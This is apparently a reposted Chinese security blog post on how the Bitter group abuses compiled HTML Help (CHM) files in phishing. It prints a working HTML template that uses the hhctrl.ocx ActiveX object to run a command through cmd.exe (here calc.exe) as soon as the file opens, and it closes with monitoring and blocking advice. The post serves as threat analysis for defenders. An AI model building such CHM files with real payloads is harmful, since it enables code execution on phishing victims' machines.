背景
今天中午看到一份关于Bitter组织针对亚太地区能源部门发起钓鱼活动分析报告,其中@Ryan Robinson 2023年3月24日对该组织使用的CHM样本进行了分析。于是开始详细了解为什么CHM格式在钓鱼中可以发挥如此大的价值。
CHM文件打开的过程
CHM文件是各种内容的压缩编译,如HTML文档,图像和脚本/Web相关的编程语言,在CHM打开时,会调用IE浏览器的基础组件解析显示,双击打开CHM文件其实本质上是创建了一个hh.exe的进程。
CHM的Payload
CHM文件可以通过hh.exe进行反编译:
1
| hh.exe -decompile %temp% payload.chm
|
如何构建CHM文件?
可以使用Microsoft HTML Help Workshop
工具创建CHM文件,FILES指的是目录,OPTIONS指的是文档基本信息:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| <html>
<head>
<OBJECT id="Test" type="application/x-oleobject" classid="clsid:52a2aaae-085d-4187-97ea-8c30db990436" codebase="hhctrl.ocx#Version=5,02,3790,1194" width="1" height="1">
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap:shortcut">
<PARAM name="Item1" value=",cmd.exe, /c calc.exe">
<PARAM name="Item2" value="273,1,1">
</object>
<script>
Test.HHClick();
</script>
</head>
<body>
<h1>Hello</h1>
</body>
</html>
|
在这段代码中,调用了hhctrl.ocx
COM组件,该组件的方法可以执行命令:
COM组件方法列表:CLSID 52A2AAAE-085D-4187-97EA-8C30DB990436 | HHCtrl Object | STRONTIC
Atomic atomic-red-team/atomics/T1218.001/src/T1218.001.html at master · redcanaryco/atomic-red-team (github.com) 给出的测试用例代码调用的是Click方法,我测试了HHClick也能够触发。
我在本地尝试编译了一个弹出计算器的CHM文档,上传至VirusTotal进行分析:
在ATT&CK中也提到有攻击组织采用调用ActiveX对象的方法来对文件进行操作,这个过程可能不会创建进程:
CHM文件执行命令的防御措施
这里可以直接总结一下ATT&CK矩阵上的建议:
- 阻止CHM文件的下载
- 进程监控,监视和分析hh.exe的执行和参数。将最近调用的hh.exe与已知良好参数的先前历史记录进行比较,以确定异常和潜在的对抗性活动(例如:混淆和/或恶意命令)。非标准进程执行树也可能指示可疑或恶意行为,例如,如果hh.exe是与其他对抗性技术相关的可疑进程和活动的父进程。
参考
文章来源: https://payloads.online/archivers/2023-09-18/phishing/
如有侵权请联系:admin#unsafe.sh